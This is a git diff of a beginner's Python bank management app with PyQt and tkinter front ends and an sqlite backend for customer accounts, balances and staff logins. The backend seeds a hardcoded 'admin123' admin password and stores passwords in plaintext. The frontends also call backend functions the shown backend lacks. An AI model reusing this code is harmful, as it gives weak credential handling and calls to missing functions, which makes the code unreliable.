success_message="Balance checked successfully", + backend_action_fn=backend.check_balance, + stacked_page_index=EMPLOYEE_CHECK_BALANCE_SEARCH, + search_index=EMPLOYEE_CHECK_BALANCE_SEARCH, + page_index=EMPLOYEE_CHECK_BALANCE_PAGE, + need_input=False, + ) + + def find_and_hide_submit_button(page): + # Find all QPushButton widgets in the page + buttons = page.findChildren(QtWidgets.QPushButton) + for button in buttons: + if button.text() == "Submit": + button.hide() + break + + find_and_hide_submit_button(check_balance_page) + + # Update Employee details + update_empolyee_search_page, update_empolyee_search_other = search_result( + stacked_widget, "Update Employee Details", "Enter Employee ID: " + ) + update_employee_page, update_employee_other = create_account_page( + stacked_widget, "Update Employee", True + ) + name_edit = update_employee_other[0] + Age_edit = update_employee_other[1] + Address_edit = update_employee_other[2] + Balance_edit = update_employee_other[3] + Mobile_number_edit = update_employee_other[4] + account_type_dropdown = update_employee_other[5] + # name_edit, Age_edit,Address_edit,Balance_edit,Mobile_number_edit, account_type_dropdown ,submit_button + + update_empolyee_search_other[1].clicked.connect( + lambda: update_employee_search_submit() + ) + update_employee_other[6].clicked.connect(lambda: update_employee_submit()) + + def update_employee_search_submit(): + try: + user_data = backend.get_details( + int(update_empolyee_search_other[0].text().strip()) + ) + print("Featch data: ", user_data) + name_edit.setText(str(user_data[1])) + Age_edit.setText(str(user_data[2])) + Address_edit.setText(str(user_data[3])) + Balance_edit.setText(str(user_data[4])) + Mobile_number_edit.setText(str(user_data[6])) + Balance_edit.setDisabled(True) + account_type_dropdown.setCurrentText(str(user_data[5])) + stacked_widget.setCurrentIndex(EMPLOYEE_UPDATE_ACCOUNT_PAGE) + except ValueError: + show_popup_message( + stacked_widget, "Enter valid numeric employee ID.", EMPLOYEE_MENU_PAGE + ) + + def update_employee_submit(): + try: + user_data = backend.get_details( + int(update_empolyee_search_other[0].text().strip()) + ) + name = name_edit.text().strip() + age = int(Age_edit.text().strip()) + address = Address_edit.text().strip() + mobile_number = int(Mobile_number_edit.text().strip()) + account_type = account_type_dropdown.currentText() + print(name, age, address, mobile_number, account_type) + backend.update_name_in_bank_table(name, user_data[0]) + backend.update_age_in_bank_table(age, user_data[0]) + backend.update_address_in_bank_table(address, user_data[0]) + backend.update_address_in_bank_table(address, user_data[0]) + backend.update_mobile_number_in_bank_table(mobile_number, user_data[0]) + backend.update_acc_type_in_bank_table(account_type, user_data[0]) + + show_popup_message( + stacked_widget, + "Employee details updated successfully", + EMPLOYEE_MENU_PAGE, + ) + stacked_widget.setCurrentIndex(EMPLOYEE_MENU_PAGE) + except ValueError as e: + print(e) + show_popup_message( + stacked_widget, "Enter valid numeric employee ID.", EMPLOYEE_MENU_PAGE + ) + + stacked_widget.addWidget(home_page) # 0 + stacked_widget.addWidget(admin_page) # 1 + stacked_widget.addWidget(employee_page) # 2 + stacked_widget.addWidget(admin_menu_page) # 3 + stacked_widget.addWidget(add_employee_page) # 4 + stacked_widget.addWidget(u_employee_page1) # 5 + stacked_widget.addWidget(u_employee_page2) # 6 + stacked_widget.addWidget(employee_list_page) # 7 + stacked_widget.addWidget(admin_total_money) # 8 + stacked_widget.addWidget(employee_menu_page) # 9 + stacked_widget.addWidget(employee_create_account_page) # 10 + stacked_widget.addWidget(show_bank_user_data_page1) # 11 + stacked_widget.addWidget(show_bank_user_data_page2) # 12 + stacked_widget.addWidget(add_balance_search_page) # 13 + stacked_widget.addWidget(add_balance_page) # 14 + stacked_widget.addWidget(withdraw_money_search_page) # 15 + stacked_widget.addWidget(withdraw_money_page) # 16 + stacked_widget.addWidget(check_balance_search_page) # 17 + stacked_widget.addWidget(check_balance_page) # 18 + stacked_widget.addWidget(update_empolyee_search_page) # 19 + stacked_widget.addWidget(update_employee_page) # 20 + + main_layout.addWidget(stacked_widget) + main_window.setCentralWidget(central_widget) + + # Set initial page + stacked_widget.setCurrentIndex(9) + + return stacked_widget, { + "admin_name": admin_name, + "admin_password": admin_password, + "admin_submit": admin_submit, + "employee_name": employee_name, + "employee_password": employee_password, + "employee_submit": employee_submit, + } + + +def main(): + """Main function to launch the application.""" + app = QtWidgets.QApplication(sys.argv) + main_window = QtWidgets.QMainWindow() + stacked_widget, widgets = setup_main_window(main_window) + + # Example: Connect submit buttons to print input values + + main_window.show() + sys.exit(app.exec_()) + + +# ------------------------------------------------------------------------------------------------------------- + +if __name__ == "__main__": + main() +# TO-DO: +# 1.refese the employee list page after add or delete or update employee diff --git a/bank_managment_system/backend.py b/bank_managment_system/backend.py new file mode 100644 index 00000000000..081d4d3d551 --- /dev/null +++ b/bank_managment_system/backend.py @@ -0,0 +1,147 @@ +import sqlite3 +import os + + +class DatabaseManager: + def __init__(self, db_name="bankmanaging.db"): + self.db_path = os.path.join(os.path.dirname(__file__), db_name) + self.conn = sqlite3.connect(self.db_path, check_same_thread=False) + self.cur = self.conn.cursor() + self._setup_tables() + self.acc_no = self._get_last_acc_no() + 1 + + def _setup_tables(self): + self.cur.execute(""" + CREATE TABLE IF NOT EXISTS bank ( + acc_no INTEGER PRIMARY KEY, + name TEXT, + age INTEGER, + address TEXT, + balance INTEGER, + account_type TEXT, + mobile_number TEXT + ) + """) + self.cur.execute(""" + CREATE TABLE IF NOT EXISTS staff ( + name TEXT, + pass TEXT, + salary INTEGER, + position TEXT + ) + """) + self.cur.execute("CREATE TABLE IF NOT EXISTS admin (name TEXT, pass TEXT)") + self.cur.execute("SELECT COUNT(*) FROM admin") + if self.cur.fetchone()[0] == 0: + self.cur.execute("INSERT INTO admin VALUES (?, ?)", ("admin", "admin123")) + self.conn.commit() + + def _get_last_acc_no(self): + self.cur.execute("SELECT MAX(acc_no) FROM bank") + last = self.cur.fetchone()[0] + return last if last else 0 + + # ----------------- Admin ----------------- + def check_admin(self, name, password): + self.cur.execute( + "SELECT 1 FROM admin WHERE name=? AND pass=?", (name, password) + ) + return self.cur.fetchone() is not None + + # ----------------- Staff ----------------- + def create_employee(self, name, password, salary, position): + self.cur.execute( + "INSERT INTO staff VALUES (?, ?, ?, ?)", (name, password, salary, position) + ) + self.conn.commit() + + def check_employee(self, name, password): + self.cur.execute( + "SELECT 1 FROM staff WHERE name=? AND pass=?", (name, password) + ) + return self.cur.fetchone() is not None + + def show_employees(self): + self.cur.execute("SELECT name, salary, position FROM staff") + return self.cur.fetchall() + + def update_employee(self, field, new_value, name): + if field not in {"name", "pass", "salary", "position"}: + raise ValueError("Invalid employee field") + self.cur.execute(f"UPDATE staff SET {field}=? WHERE name=?", (new_value, name)) + self.conn.commit() + + def check_name_in_staff(self, name): + self.cur.execute("SELECT 1 FROM staff WHERE name=?", (name,)) + return self.cur.fetchone() is not None + + # ----------------- Customer ----------------- + def create_customer(self, name, age, address, balance, acc_type, mobile_number): + acc_no = self.acc_no + self.cur.execute( + "INSERT INTO bank VALUES (?, ?, ?, ?, ?, ?, ?)", + (acc_no, name, age, address, balance, acc_type, mobile_number), + ) + self.conn.commit() + self.acc_no += 1 + return acc_no + + def check_acc_no(self, acc_no): + self.cur.execute("SELECT 1 FROM bank WHERE acc_no=?", (acc_no,)) + return self.cur.fetchone() is not None + + def get_details(self, acc_no): + self.cur.execute("SELECT * FROM bank WHERE acc_no=?", (acc_no,)) + return self.cur.fetchone() + + def get_detail(self, acc_no): + self.cur.execute("SELECT name, balance FROM bank WHERE acc_no=?", (acc_no,)) + return self.cur.fetchone() + + def update_customer(self, field, new_value, acc_no): + if field not in {"name", "age", "address", "mobile_number", "account_type"}: + raise ValueError("Invalid customer field") + self.cur.execute( + f"UPDATE bank SET {field}=? WHERE acc_no=?", (new_value, acc_no) + ) + self.conn.commit() + + def update_balance(self, amount, acc_no): + self.cur.execute( + "UPDATE bank SET balance = balance + ? WHERE acc_no=?", (amount, acc_no) + ) + self.conn.commit() + + def deduct_balance(self, amount, acc_no): + self.cur.execute("SELECT balance FROM bank WHERE acc_no=?", (acc_no,)) + bal = self.cur.fetchone() + if bal and bal[0] >= amount: + self.cur.execute( + "UPDATE bank SET balance=balance-? WHERE acc_no=?", (amount, acc_no) + ) + self.conn.commit() + return True + return False + + def check_balance(self, acc_no): + self.cur.execute("SELECT balance FROM bank WHERE acc_no=?", (acc_no,)) + bal = self.cur.fetchone() + return bal[0] if bal else 0 + + def list_all_customers(self): + self.cur.execute("SELECT * FROM bank") + return self.cur.fetchall() + + def delete_acc(self, acc_no): + self.cur.execute("DELETE FROM bank WHERE acc_no=?", (acc_no,)) + self.conn.commit() + + # ----------------- Stats ----------------- + def all_money(self): + self.cur.execute("SELECT SUM(balance) FROM bank") + total = self.cur.fetchone()[0] + return total if total else 0 + + # ----------------- Cleanup ----------------- + def close(self): + self.conn.close() diff --git a/bank_managment_system/frontend.py b/bank_managment_system/frontend.py new file mode 100644 index 00000000000..f84903f3036 --- /dev/null +++ b/bank_managment_system/frontend.py @@ -0,0 +1,1309 @@ +# importing all modules +import tkinter.messagebox +from tkinter import * + +import backend + +backend.connect_database() + + +# A function for check that acc_no is integer or not +def check_string_in_account_no(check_acc_no): + r = check_acc_no.isdigit() + return r + + +# all buttons of page2 +def create(): + def create_customer_in_database(): + def delete_create(): + create_employee_frame.grid_forget() + page2() + + name = entry5.get() + age = entry6.get() + address = entry7.get() + balance = entry8.get() + acc_type = entry9.get() + mobile_number = entry10.get() + if ( + len(name) != 0 + and len(age) != 0 + and len(address) != 0 + and len(balance) != 0 + and len(acc_type) != 0 + and len(mobile_number) != 0 + ): + acc_no = backend.create_customer( + name, age, address, balance, acc_type, mobile_number + ) + + label = Label( + create_employee_frame, text="Your account number is {}".format(acc_no) + ) + label.grid(row=14) + + button = Button(create_employee_frame, text="Exit", command=delete_create) + button.grid(row=15) + else: + label = Label(create_employee_frame, text="Please fill all entries") + label.grid(row=14) + + button = Button(create_employee_frame, text="Exit", command=delete_create) + button.grid(row=15) + + frame1.grid_forget() + global create_employee_frame + create_employee_frame = Frame(tk, bg="black") + create_employee_frame.grid(padx=500, pady=150) + + label = Label(create_employee_frame, text="Customer Detail", font="bold") + label.grid(row=0, pady=4) + label = Label(create_employee_frame, text="Name", font="bold") + label.grid(row=1, pady=4) + global entry5 + entry5 = Entry(create_employee_frame) + entry5.grid(row=2, pady=4) + label = Label(create_employee_frame, text="Age", font="bold") + label.grid(row=3, pady=4) + global entry6 + entry6 = Entry(create_employee_frame) + entry6.grid(row=4, pady=4) + label = Label(create_employee_frame, text="address", font="bold") + label.grid(row=5, pady=4) + global entry7 + entry7 = Entry(create_employee_frame) + entry7.grid(row=6, pady=4) + label = Label(create_employee_frame, text="Balance", font="bold") + label.grid(row=7, pady=4) + global entry8 + entry8 = Entry(create_employee_frame) + entry8.grid(row=8, pady=4) + label = Label(create_employee_frame, text="Account Type", font="bold") + label.grid(row=9, pady=4) + label = Label(create_employee_frame, text="Mobile number", font="bold") + label.grid(row=11, pady=4) + global entry9 + entry9 = Entry(create_employee_frame) + entry9.grid(row=10, pady=4) + global entry10 + entry10 = Entry(create_employee_frame) + entry10.grid(row=12, pady=4) + button = Button( + create_employee_frame, text="Submit", command=create_customer_in_database + ) + button.grid(row=13, pady=4) + + mainloop() + + +def search_acc(): + frame1.grid_forget() + global search_frame + search_frame = Frame(tk) + search_frame.grid(padx=500, pady=300) + + label = Label(search_frame, text="Enter account number", font="bold") + label.grid(row=0, pady=6) + + global entry11 + entry11 = Entry(search_frame) + entry11.grid(row=1, pady=6) + + button = Button(search_frame, text="Search", command=show) + button.grid(row=3) + + mainloop() + + +def show(): + def clear_show_frame(): + show_frame.grid_forget() + page2() + + def back_page2(): + search_frame.grid_forget() + page2() + + acc_no = entry11.get() + r = check_string_in_account_no(acc_no) + if len(acc_no) != 0 and r: + details = backend.get_details(acc_no) + if details != False: + search_frame.grid_forget() + global show_frame + show_frame = Frame(tk) + show_frame.grid(padx=400, pady=200) + + label = Label( + show_frame, text="Account_number:\t{}".format(details[0]), font="bold" + ) + label.grid(row=0, pady=6) + label = Label(show_frame, text="Name:\t{}".format(details[1]), font="bold") + label.grid(row=1, pady=6) + label = Label(show_frame, text="Age:\t{}".format(details[2]), font="bold") + label.grid(row=2, pady=6) + label = Label( + show_frame, text="Address:\t{}".format(details[3]), font="bold" + ) + label.grid(row=3, pady=6) + label = Label( + show_frame, text="Balance:\t{}".format(details[4]), font="bold" + ) + label.grid(row=4, pady=6) + label = Label( + show_frame, text="Account_type:\t{}".format(details[5]), font="bold" + ) + label.grid(row=5, pady=6) + label = Label( + show_frame, text="Mobile Number:\t{}".format(details[6]), font="bold" + ) + label.grid(row=6, pady=6) + button = Button( + show_frame, + text="Exit", + command=clear_show_frame, + width=20, + height=2, + bg="red", + fg="white", + ) + button.grid(row=7, pady=6) + mainloop() + else: + label = Label(search_frame, text="Account Not Found") + label.grid() + button = Button(search_frame, text="Exit", command=back_page2) + button.grid() + + else: + label = Label(search_frame, text="Enter correct account number") + label.grid() + button = Button(search_frame, text="Exit", command=back_page2) + button.grid() + + +def add(): + frame1.grid_forget() + + def search_in_database(): + def back_page2(): + search_frame.grid_forget() + page2() + + global result + global acc_no + acc_no = entry11.get() + r = check_string_in_account_no(acc_no) + if len(acc_no) != 0 and r: + result = backend.check_acc_no(acc_no) + print(result) + if not result: + label = Label(search_frame, text="invalid account number") + label.grid(pady=2) + button = Button(search_frame, text="Exit", command=back_page2) + button.grid() + mainloop() + else: + + def update_money(): + new_money = entry12.get() + backend.update_balance(new_money, acc_no) + add_frame.grid_forget() + page2() + + search_frame.grid_forget() + global add_frame + add_frame = Frame(tk) + add_frame.grid(padx=400, pady=300) + + detail = backend.get_detail(acc_no) + + label = Label( + add_frame, text="Account holder name: {}".format(detail[0][0]) + ) + label.grid(row=0, pady=3) + + label = Label( + add_frame, text="Current amount: {}".format(detail[0][1]) + ) + label.grid(row=1, pady=3) + + label = Label(add_frame, text="Enter Money") + label.grid(row=2, pady=3) + global entry12 + entry12 = Entry(add_frame) + entry12.grid(row=3, pady=3) + + button = Button(add_frame, text="Add", command=update_money) + button.grid(row=4) + + mainloop() + else: + label = Label(search_frame, text="Enter correct account number") + label.grid(pady=2) + button = Button(search_frame, text="Exit", command=back_page2) + button.grid() + mainloop() + + def search_acc(): + global search_frame + search_frame = Frame(tk) + search_frame.grid(padx=500, pady=300) + + label = Label(search_frame, text="Enter account number", font="bold") + label.grid(row=0, pady=6) + + global entry11 + entry11 = Entry(search_frame) + entry11.grid(row=1, pady=6) + + button = Button(search_frame, text="Search", command=search_in_database) + button.grid(row=3) + + mainloop() + + search_acc() + + +def withdraw(): + frame1.grid_forget() + + def search_in_database(): + def go_page2(): + search_frame.grid_forget() + page2() + + global result + global acc_no + acc_no = entry11.get() + r = check_string_in_account_no(acc_no) + if len(acc_no) != 0 and r: + result = backend.check_acc_no(acc_no) + print(result) + if not result: + label = Label(search_frame, text="invalid account number") + label.grid(pady=2) + button = Button(search_frame, text="Exit", command=go_page2) + button.grid() + mainloop() + else: + + def deduct_money(): + new_money = entry12.get() + result = backend.deduct_balance(new_money, acc_no) + if result: + add_frame.grid_forget() + page2() + else: + label = Label(search_frame, text="Insufficient Balance") + label.grid(row=4) + + button = Button(search_frame, text="Exit", command=go_page2) + button.grid(row=5) + + mainloop() + + search_frame.grid_forget() + global add_frame + add_frame = Frame(tk) + add_frame.grid(padx=400, pady=300) + detail = backend.get_detail(acc_no) + + label = Label( + add_frame, text="Account holder name: {}".format(detail[0][0]) + ) + label.grid(row=0, pady=3) + + label = Label( + add_frame, text="Current amount: {}".format(detail[0][1]) + ) + label.grid(row=1, pady=3) + + label = Label(add_frame, text="Enter Money") + label.grid(row=2, pady=3) + global entry12 + entry12 = Entry(add_frame) + entry12.grid(row=3, pady=3) + + button = Button(add_frame, text="Withdraw", command=deduct_money) + button.grid(row=4) + + mainloop() + else: + label = Label(search_frame, text="Enter correct account number") + label.grid(row=4) + + button = Button(search_frame, text="Exit", command=go_page2) + button.grid(row=5) + + mainloop() + + def search_acc(): + global search_frame + search_frame = Frame(tk) + search_frame.grid(padx=500, pady=300) + + label = Label(search_frame, text="Enter account number", font="bold") + label.grid(row=0, pady=6) + + global entry11 + entry11 = Entry(search_frame) + entry11.grid(row=1, pady=6) + + button = Button(search_frame, text="Search", command=search_in_database) + button.grid(row=3) + + mainloop() + + search_acc() + + +def check(): + frame1.grid_forget() + + def search_in_database(): + def back_page2(): + search_frame.grid_forget() + page2() + + global result + global acc_no + acc_no = entry11.get() + r = check_string_in_account_no(acc_no) + + if len(acc_no) != 0 and r: + result = backend.check_acc_no(acc_no) + print(result) + if not result: + label = Label(search_frame, text="invalid account number") + label.grid(pady=2) + button = Button(search_frame, text="Exit", command=back_page2) + button.grid() + mainloop() + else: + + def delete_check_frame(): + check_frame.grid_forget() + page2() + + search_frame.grid_forget() + balance = backend.check_balance(acc_no) + global check_frame + check_frame = Frame(tk) + check_frame.grid(padx=500, pady=300) + + label = Label( + check_frame, text="Balance Is:{}".format(balance), font="bold" + ) + label.grid(row=0, pady=4) + + button = Button( + check_frame, + text="Back", + command=delete_check_frame, + width=20, + height=2, + bg="red", + ) + button.grid(row=1) + + mainloop() + else: + label = Label(search_frame, text="Enter correct entry") + label.grid(pady=2) + button = Button(search_frame, text="Exit", command=back_page2) + button.grid() + mainloop() + + def search_acc(): + global search_frame + search_frame = Frame(tk) + search_frame.grid(padx=500, pady=300) + + label = Label(search_frame, text="Enter account number", font="bold") + label.grid(row=0, pady=6) + + global entry11 + + entry11 = Entry(search_frame) + entry11.grid(row=1, pady=6) + + button = Button(search_frame, text="Search", command=search_in_database) + button.grid(row=3) + + mainloop() + + search_acc() + + +def update(): + def back_to_page2(): + search_frame.grid_forget() + page2() + + def show_all_updateble_content(): + def back_to_page2_from_update(): + update_customer_frame.grid_forget() + page2() + + # defining a function whose makes a update entry and submit butoon side to name button + def update_name(): + # def a function eho updates name in database + def update_name_in_database(): + new_name = entry_name.get() + r = check_string_in_account_no(new_name) + if len(new_name) != 0: + # function in backend that updates name in table + backend.update_name_in_bank_table(new_name, acc_no) + entry_name.destroy() + submit_button.destroy() + name_label.destroy() + else: + tkinter.messagebox.showinfo("Error", "Please fill blanks") + entry_name.destroy() + submit_button.destroy() + name_label.destroy() + + global entry_name + global name_label + name_label = Label(update_customer_frame, text="Enter new name") + name_label.grid(row=1, column=1) + entry_name = Entry(update_customer_frame) + entry_name.grid(row=1, column=2, padx=2) + global submit_button + submit_button = Button( + update_customer_frame, text="Update", command=update_name_in_database + ) + submit_button.grid(row=1, column=3) + + # defing a function who make gui fro age + def update_age(): + # def a function eho updates name in database + def update_age_in_database(): + new_age = entry_name.get() + r = check_string_in_account_no(new_age) + if len(new_age) != 0 and r: + # function in backend that updates name in table + backend.update_age_in_bank_table(new_age, acc_no) + entry_name.destroy() + submit_button.destroy() + age_label.destroy() + else: + tkinter.messagebox.showinfo("Error", "Please enter age") + entry_name.destroy() + submit_button.destroy() + age_label.destroy() + + global age_label + age_label = Label(update_customer_frame, text="Enter new Age:") + age_label.grid(row=2, column=1) + global entry_name + entry_name = Entry(update_customer_frame) + entry_name.grid(row=2, column=2, padx=2) + global submit_button + submit_button = Button( + update_customer_frame, text="Update", command=update_age_in_database + ) + submit_button.grid(row=2, column=3) + + # defing a function who make gui fro age + def update_address(): + # def a function eho updates name in database + def update_address_in_database(): + new_address = entry_name.get() + if len(new_address) != 0: + # function in backend that updates name in table + backend.update_address_in_bank_table(new_address, acc_no) + entry_name.destroy() + submit_button.destroy() + address_label.destroy() + else: + tkinter.messagebox.showinfo("Error", "Please fill address") + entry_name.destroy() + submit_button.destroy() + address_label.destroy() + + global address_label + + address_label = Label(update_customer_frame, text="Enter new Address:") + address_label.grid(row=3, column=1) + global entry_name + entry_name = Entry(update_customer_frame) + entry_name.grid(row=3, column=2, padx=2) + global submit_button + submit_button = Button( + update_customer_frame, text="Update", command=update_address_in_database + ) + submit_button.grid(row=3, column=3) + + acc_no = entry_acc.get() + + r = check_string_in_account_no(acc_no) + if r: + result = backend.check_acc_no(acc_no) + if result: + search_frame.grid_forget() + global update_customer_frame + update_customer_frame = Frame(tk) + update_customer_frame.grid(padx=300, pady=300) + + label = Label(update_customer_frame, text="What do you want to update") + label.grid(row=0) + + name_button = Button( + update_customer_frame, text="Name", command=update_name + ) + name_button.grid(row=1, column=0, pady=6) + + age_button = Button( + update_customer_frame, text="Age", command=update_age + ) + age_button.grid(row=2, column=0, pady=6) + + address_button = Button( + update_customer_frame, text="Address", command=update_address + ) + address_button.grid(row=3, column=0, pady=6) + + exit_button = Button( + update_customer_frame, + text="Exit", + command=back_to_page2_from_update, + ) + exit_button.grid(row=4) + mainloop() + else: + label = Label(search_frame, text="Invalid account number") + label.grid() + + button = Button(search_frame, text="Exit", command=back_to_page2) + button.grid() + + else: + label = Label(search_frame, text="Fill account number") + label.grid() + + button = Button(search_frame, text="Exit", command=back_to_page2) + button.grid() + + frame1.grid_forget() + # define gui for enter account number + + global search_frame + search_frame = Frame(tk) + search_frame.grid(padx=500, pady=300) + + label = Label(search_frame, text="Enter account number", font="bold") + label.grid(pady=4) + + entry_acc = Entry(search_frame) + entry_acc.grid(pady=4) + + button = Button( + search_frame, text="update", command=show_all_updateble_content, bg="red" + ) + button.grid() + + +def allmembers(): + def clear_list_frame(): + list_frame.grid_forget() + page2() + + frame1.grid_forget() + details = backend.list_all_customers() + global tk + + global list_frame + list_frame = Frame(tk) + list_frame.grid(padx=50, pady=50) + label = Label( + list_frame, text="Acc_no\t\t\tName\t\t\tAge\t\t\tAddress\t\t\tbalance" + ) + label.grid(pady=6) + for i in details: + label = Label( + list_frame, + text="{}\t\t\t{}\t\t\t{}\t\t\t{}\t\t\t{}".format( + i[0], i[1], i[2], i[3], i[4] + ), + ) + label.grid(pady=4) + + button = Button( + list_frame, text="Back", width=20, height=2, bg="red", command=clear_list_frame + ) + button.grid() + mainloop() + + +def delete(): + frame1.grid_forget() + + def search_in_database(): + def back_page2(): + search_frame.grid_forget() + page2() + + global result + global acc_no + acc_no = entry11.get() + r = check_string_in_account_no(acc_no) + if len(acc_no) != 0 and r: + result = backend.check_acc_no(acc_no) + print(result) + if not result: + label = Label(search_frame, text="invalid account number") + label.grid(pady=2) + button = Button(search_frame, text="Exit", command=back_page2) + button.grid() + mainloop() + else: + backend.delete_acc(acc_no) + search_frame.grid_forget() + page2() + else: + label = Label(search_frame, text="Enter correct account number") + label.grid(pady=2) + button = Button(search_frame, text="Exit", command=back_page2) + button.grid() + + def search_acc(): + global search_frame + search_frame = Frame(tk) + search_frame.grid(padx=500, pady=300) + + label = Label(search_frame, text="Enter account number", font="bold") + label.grid(row=0, pady=6) + + global entry11 + entry11 = Entry(search_frame) + entry11.grid(row=1, pady=6) + + button = Button(search_frame, text="Delete", command=search_in_database) + button.grid(row=3) + + mainloop() + + search_acc() + + +# main page for employees +def page2(): + def back_to_main_from_page2(): + frame1.grid_forget() + global frame + frame = Frame(tk, bg="black") + frame.grid(padx=500, pady=250) + + button = Button(frame, text="Admin", command=admin_login) + button.grid(row=0, pady=20) + + button = Button(frame, text="Employee", command=employee_login) + button.grid(row=1, pady=20) + + button = Button(frame, text="Exit", command=tk.destroy) + button.grid(row=2, pady=20) + tk.mainloop() + + frame.grid_forget() + global frame1 + frame1 = Frame(tk, bg="black") + frame1.grid(padx=500, pady=100) + button1 = Button(frame1, text="Create Account", command=create, width=20, height=2) + button1.grid(row=0, pady=6) + button2 = Button( + frame1, text="Show Details", command=search_acc, width=20, height=2 + ) + button2.grid(row=1, pady=6) + button3 = Button(frame1, text="Add balance", command=add, width=20, height=2) + button3.grid(row=2, pady=6) + button4 = Button( + frame1, text="Withdraw money", command=withdraw, width=20, height=2 + ) + button4.grid(row=3, pady=6) + button5 = Button(frame1, text="Check balance", command=check, width=20, height=2) + button5.grid(row=4, pady=6) + button6 = Button(frame1, text="Update Account", command=update, width=20, height=2) + button6.grid(row=5, pady=6) + button7 = Button( + frame1, text="List of all members", command=allmembers, width=20, height=2 + ) + button7.grid(row=6, pady=6) + button8 = Button(frame1, text="Delete Account", command=delete, width=20, height=2) + button8.grid(row=7, pady=6) + + button9 = Button( + frame1, text="Exit", command=back_to_main_from_page2, width=20, height=2 + ) + button9.grid(row=8, pady=6) + + mainloop() + + +# all buttons of page1 +def create_employee(): + def create_emp_in_database(): + def back_to_main_page1_from_create_emp(): + frame_create_emp.grid_forget() + page1() + + name = entry3.get() + password = entry4.get() + salary = entry16.get() + position = entry17.get() + if ( + len(name) != 0 + and len(password) != 0 + and len(salary) != 0 + and len(position) != 0 + ): + backend.create_employee(name, password, salary, position) + frame_create_emp.grid_forget() + page1() + else: + label = Label(frame_create_emp, text="Please fill all entries") + label.grid(pady=2) + + button = Button( + frame_create_emp, + text="Exit", + command=back_to_main_page1_from_create_emp, + bg="red", + ) + button.grid() + + page1_frame.grid_forget() + + global frame_create_emp + frame_create_emp = Frame(tk, bg="black") + frame_create_emp.grid(padx=500, pady=200) + + label = Label(frame_create_emp, text="Name:", font="bold") + label.grid(row=0, pady=4) + global entry3 + entry3 = Entry(frame_create_emp) + entry3.grid(row=1, pady=4) + label2 = Label(frame_create_emp, text="Password", font="bold") + label2.grid(row=2, pady=4) + global entry4 + entry4 = Entry(frame_create_emp) + entry4.grid(row=3, pady=4) + label3 = Label(frame_create_emp, text="Salary", font="bold") + label3.grid(row=4, pady=4) + global entry16 + entry16 = Entry(frame_create_emp) + entry16.grid(row=5, pady=4) + label4 = Label(frame_create_emp, text="Position", font="bold") + label4.grid(row=6, pady=4) + global entry17 + entry17 = Entry(frame_create_emp) + entry17.grid(row=7, pady=4) + + button = Button( + frame_create_emp, + text="Submit", + command=create_emp_in_database, + width=15, + height=2, + ) + button.grid(row=8, pady=4) + + mainloop() + + +def update_employee(): + def update_details_of_staff_member(): + def back_to_page1(): + show_employee_frame.grid_forget() + page1() + + def update_that_particular_employee(): + show_employee_frame.grid_forget() + + def back_to_page1_from_update(): + update_frame.destroy() + page1() + + def update_name_in_database(): + def database_calling(): + new_name = entry19.get() + if len(new_name) != 0: + old_name = staff_name.get() + backend.update_employee_name(new_name, old_name) + entry19.destroy() + update_button.destroy() + else: + entry19.destroy() + update_button.destroy() + tkinter.messagebox.showinfo("Error", "Please fill entry") + + global entry19 + entry19 = Entry(update_frame) + entry19.grid(row=1, column=1, padx=4) + global update_button + update_button = Button( + update_frame, text="Update", command=database_calling + ) + update_button.grid(row=1, column=2, padx=4) + + def update_password_in_database(): + def database_calling(): + new_password = entry19.get() + old_name = staff_name.get() + if len(new_password) != 0: + backend.update_employee_password(new_password, old_name) + entry19.destroy() + update_button.destroy() + else: + entry19.destroy() + update_button.destroy() + tkinter.messagebox.showinfo("Error", "Please Fill Entry") + + global entry19 + entry19 = Entry(update_frame) + entry19.grid(row=2, column=1, padx=4) + global update_button + update_button = Button( + update_frame, text="Update", command=database_calling + ) + update_button.grid(row=2, column=2, padx=4) + + def update_salary_in_database(): + def database_calling(): + new_salary = entry19.get() + r = check_string_in_account_no(new_salary) + if len(new_salary) != 0 and r: + old_name = staff_name.get() + backend.update_employee_salary(new_salary, old_name) + entry19.destroy() + update_button.destroy() + else: + entry19.destroy() + update_button.destroy() + tkinter.messagebox.showinfo("Error", "Invalid Input") + + global entry19 + entry19 = Entry(update_frame) + entry19.grid(row=3, column=1, padx=4) + global update_button + update_button = Button( + update_frame, text="Update", command=database_calling + ) + update_button.grid(row=3, column=2, padx=4) + + def update_position_in_database(): + def database_calling(): + new_position = entry19.get() + if len(new_position) != 0: + old_name = staff_name.get() + backend.update_employee_position(new_position, old_name) + entry19.destroy() + update_button.destroy() + else: + entry19.destroy() + update_button.destroy() + tkinter.messagebox.showinfo("Error", "Please Fill Entry") + + global entry19 + entry19 = Entry(update_frame) + entry19.grid(row=4, column=1, padx=4) + global update_button + update_button = Button( + update_frame, text="Update", command=database_calling + ) + update_button.grid(row=4, column=2, padx=4) + + global update_frame + update_frame = Frame(tk) + update_frame.grid(padx=400, pady=250) + + label = Label( + update_frame, text="press what do you want to update", font="bold" + ) + label.grid(pady=6) + + button = Button( + update_frame, + text="Name", + command=update_name_in_database, + width=14, + height=2, + ) + button.grid(row=1, column=0, padx=2, pady=2) + + button = Button( + update_frame, + text="password", + command=update_password_in_database, + width=14, + height=2, + ) + button.grid(row=2, column=0, padx=2, pady=2) + + button = Button( + update_frame, + text="salary", + command=update_salary_in_database, + width=14, + height=2, + ) + button.grid(row=3, column=0, padx=2, pady=2) + + button = Button( + update_frame, + text="position", + command=update_position_in_database, + width=14, + height=2, + ) + button.grid(row=4, column=0, padx=2, pady=2) + + button = Button( + update_frame, + text="Back", + command=back_to_page1_from_update, + width=14, + height=2, + ) + button.grid(row=5, column=0, pady=2) + + name = staff_name.get() + if len(name) != 0: + result = backend.check_name_in_staff(name) + if result: + update_that_particular_employee() + else: + label = Label(show_employee_frame, text="Employee not found") + label.grid() + + button = Button(show_employee_frame, text="Exit", command=back_to_page1) + button.grid() + + else: + label = Label(show_employee_frame, text="Fill the name") + label.grid() + + button = Button(show_employee_frame, text="Exit", command=back_to_page1) + button.grid() + + # entering name of staff member + page1_frame.grid_forget() + global show_employee_frame + show_employee_frame = Frame(tk) + show_employee_frame.grid(padx=300, pady=300) + + label = Label( + show_employee_frame, + text="Enter name of staff member whom detail would you want to update", + ) + label.grid() + global staff_name + staff_name = Entry(show_employee_frame) + staff_name.grid() + global update_butoon_for_staff + update_butoon_for_staff = Button( + show_employee_frame, + text="Update Details", + command=update_details_of_staff_member, + ) + update_butoon_for_staff.grid() + + +def show_employee(): + def back_to_main_page1(): + show_employee_frame.grid_forget() + page1() + + page1_frame.grid_forget() + + global show_employee_frame + show_employee_frame = Frame(tk) + show_employee_frame.grid(padx=50, pady=50) + + label = Label( + show_employee_frame, + 